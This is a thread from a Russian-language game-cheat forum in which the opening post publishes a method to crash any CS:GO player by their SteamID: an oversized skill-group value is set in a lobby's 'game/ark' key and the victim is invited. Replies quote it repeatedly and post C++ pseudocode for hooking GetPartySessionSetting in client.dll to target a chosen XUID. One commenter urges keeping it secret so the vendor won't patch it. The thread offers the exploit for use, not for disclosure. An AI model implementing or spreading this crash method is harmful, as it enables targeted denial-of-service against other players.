Исходник Way to crash any csgo player

Новичок
Статус
Оффлайн
Регистрация
31 Дек 2022
Сообщения
1
Реакции[?]
16
Поинты[?]
0
Happy new year, a few months ago i started looking into csgo panorama source code and discovered a vulnerability that allows to crash any player knowing only his steamid, since some peoples started selling this, i decided to leak it.
Lets take a look at this code (panorama/scripts/friendlobby.js line 57)
JavaScript:
    var _SetSkillGroup = function ( elTile, gameMode )
    {
        var skillGroup = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/ark' );
        skillGroup = Math.floor( skillGroup/10 );
       
        var elSkillGroupImg = elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' );

        var szSkillGroupType = "skillgroup";
        if ( gameMode === 'scrimcomp2v2' )
        {
            szSkillGroupType = 'wingman';
        }
        else if ( gameMode === 'survival' )
        {
            szSkillGroupType = 'dangerzone';
        }
       
        if( !skillGroup )
            elSkillGroupImg.AddClass( 'hidden' );
        else
        {
            elSkillGroupImg.RemoveClass( 'hidden' );
            elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
        }
    };
This line of code will cause game to crash if skillGroup is greater than the MAX_INT(32768) value
JavaScript:
elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
You have to create lobby, fill game/ark meta key with some value greater than MAX_INT and multiply it by 10 due to this line of code
JavaScript:
skillGroup = Math.floor( skillGroup/10 );
and invite player to this lobby.
 
Начинающий
Статус
Оффлайн
Регистрация
10 Ноя 2020
Сообщения
64
Реакции[?]
7
Поинты[?]
0
Happy new year, a few months ago i started looking into csgo panorama source code and discovered a vulnerability that allows to crash any player knowing only his steamid, since some peoples started selling this, i decided to leak it.
Lets take a look at this code (panorama/scripts/friendlobby.js line 57)
JavaScript:
    var _SetSkillGroup = function ( elTile, gameMode )
    {
        var skillGroup = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/ark' );
        skillGroup = Math.floor( skillGroup/10 );
      
        var elSkillGroupImg = elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' );

        var szSkillGroupType = "skillgroup";
        if ( gameMode === 'scrimcomp2v2' )
        {
            szSkillGroupType = 'wingman';
        }
        else if ( gameMode === 'survival' )
        {
            szSkillGroupType = 'dangerzone';
        }
      
        if( !skillGroup )
            elSkillGroupImg.AddClass( 'hidden' );
        else
        {
            elSkillGroupImg.RemoveClass( 'hidden' );
            elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
        }
    };
This line of code will cause game to crash if skillGroup is greater than the MAX_INT(32768) value
JavaScript:
elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
You have to create lobby, fill game/ark meta key with some value greater than MAX_INT and multiply it by 10 due to this line of code
JavaScript:
skillGroup = Math.floor( skillGroup/10 );
and invite player to this lobby.
cool
 
Разработчик
Статус
Оффлайн
Регистрация
1 Сен 2018
Сообщения
1,598
Реакции[?]
880
Поинты[?]
114K
Happy new year, a few months ago i started looking into csgo panorama source code and discovered a vulnerability that allows to crash any player knowing only his steamid, since some peoples started selling this, i decided to leak it.
Lets take a look at this code (panorama/scripts/friendlobby.js line 57)
JavaScript:
    var _SetSkillGroup = function ( elTile, gameMode )
    {
        var skillGroup = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/ark' );
        skillGroup = Math.floor( skillGroup/10 );
      
        var elSkillGroupImg = elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' );

        var szSkillGroupType = "skillgroup";
        if ( gameMode === 'scrimcomp2v2' )
        {
            szSkillGroupType = 'wingman';
        }
        else if ( gameMode === 'survival' )
        {
            szSkillGroupType = 'dangerzone';
        }
      
        if( !skillGroup )
            elSkillGroupImg.AddClass( 'hidden' );
        else
        {
            elSkillGroupImg.RemoveClass( 'hidden' );
            elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
        }
    };
This line of code will cause game to crash if skillGroup is greater than the MAX_INT(32768) value
JavaScript:
elTile.FindChildTraverse( 'JsFriendLobbySkillGroup' ).SetImage( 'file://{images}/icons/skillgroups/' + szSkillGroupType + skillGroup +'.svg' );
You have to create lobby, fill game/ark meta key with some value greater than MAX_INT and multiply it by 10 due to this line of code
JavaScript:
skillGroup = Math.floor( skillGroup/10 );
and invite player to this lobby.
+реп отличный релиз, я тоже недавно подобный эксплоит нашёл, но немного в другой вещи.
 
Забаненный
Статус
Оффлайн
Регистрация
12 Фев 2022
Сообщения
47
Реакции[?]
6
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
u should keep this secret somehow. because people will recognize how to do it and they will start making this shit and valve will fix it.
 
Начинающий
Статус
Оффлайн
Регистрация
8 Ноя 2019
Сообщения
105
Реакции[?]
12
Поинты[?]
2K
Я попробовал сделать, но оно не работает :poutingcat:
Значение реально меняется, но ни крашей, ничего вообщем.
 
Пользователь
Статус
Оффлайн
Регистрация
3 Май 2021
Сообщения
260
Реакции[?]
48
Поинты[?]
40K
+rep спасибо, добавил себе в пасту, только крашит меня
блять, скоро уже наверное читы смогут акки пиздить, добавлять скин в инвентарь с возможностью продажи и т.д
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
22 Окт 2020
Сообщения
2
Реакции[?]
0
Поинты[?]
0
can somebody explain that?
"You have to create lobby, fill game/ark meta key with some value greater than MAX_INT and multiply it by 10 due to this line of code"
 
Последнее редактирование:
get good get legendware
Участник
Статус
Оффлайн
Регистрация
22 Сен 2020
Сообщения
437
Реакции[?]
201
Поинты[?]
48K
can somebody explain that?
"You have to create lobby, fill game/ark meta key with some value greater than MAX_INT and multiply it by 10 due to this line of code"
you create a lobby then modify panorama lobby code to change skill group value first multiply by 10 to remove the /10 then add 40000 to it should go something like this

C++:
void crash_player()
{
    auto lobby = interface::getlobby();
    auto skillgroup = lobby->getskillgroup();
    
    lobby->setskillgroup = skillgroup * 10;
    lobby->setskillgroup = skillgroup + 40000; //idk if skill group is an int or a float lmao figure that out yourself or you can just multiply by 40000 if skill group is = or > 1
    
}
please note that the above code is just an example of the implementation that i wrote from my phone you need to hook certain stuff i think or however you edit panorama vars im not sure
 
Начинающий
Статус
Оффлайн
Регистрация
23 Янв 2021
Сообщения
24
Реакции[?]
21
Поинты[?]
13K
you create a lobby then modify panorama lobby code to change skill group value first multiply by 10 to remove the /10 then add 40000 to it should go something like this

C++:
void crash_player()
{
    auto lobby = interface::getlobby();
    auto skillgroup = lobby->getskillgroup();
   
    lobby->setskillgroup = skillgroup * 10;
    lobby->setskillgroup = skillgroup + 40000; //idk if skill group is an int or a float lmao figure that out yourself or you can just multiply by 40000 if skill group is = or > 1
   
}
please note that the above code is just an example of the implementation that i wrote from my phone you need to hook certain stuff i think or however you edit panorama vars im not sure
no ur psuedo is wrong, very wrong imo

look at the friendlobby.js
Код:
var skillGroup = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/ark' );
so we know that skillGroup is set by calling the GetPartySessionSetting,
now open IDA and find this function around client.dll hook it
C++:
int __fastcall hkGetPartySessionSetting( int xuid, const char* setting)
{
  if (xuid == targetXUid)
    return ( MAX_INT + 1 ) * 10
 else
  original_fn( arg... )
}
idk correct me tho cuz I'm retarded around 3am
 
get good get legendware
Участник
Статус
Оффлайн
Регистрация
22 Сен 2020
Сообщения
437
Реакции[?]
201
Поинты[?]
48K
no ur psuedo is wrong, very wrong imo

look at the friendlobby.js
Код:
var skillGroup = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/ark' );
so we know that skillGroup is set by calling the GetPartySessionSetting,
now open IDA and find this function around client.dll hook it
C++:
int __fastcall hkGetPartySessionSetting( int xuid, const char* setting)
{
  if (xuid == targetXUid)
    return ( MAX_INT + 1 ) * 10
else
  original_fn( arg... )
}
idk correct me tho cuz I'm retarded around 3am
ay man i literally said im not sure how this is done i literally wrote the psuedo from my phone and i havent looked into it at all so chill out :kissingheart:
 
щитпостер стат ратио 0.17
Участник
Статус
Оффлайн
Регистрация
28 Окт 2017
Сообщения
1,243
Реакции[?]
227
Поинты[?]
38K
just wondering if this applies to the new surf/bhop game based on source with panorama momentum mod
 
Начинающий
Статус
Оффлайн
Регистрация
2 Июл 2018
Сообщения
4
Реакции[?]
0
Поинты[?]
0
Последнее редактирование:
щитпостер стат ратио 0.17
Участник
Статус
Оффлайн
Регистрация
28 Окт 2017
Сообщения
1,243
Реакции[?]
227
Поинты[?]
38K
щитпостер стат ратио 0.17
Участник
Статус
Оффлайн
Регистрация
28 Окт 2017
Сообщения
1,243
Реакции[?]
227
Поинты[?]
38K
Сверху Снизу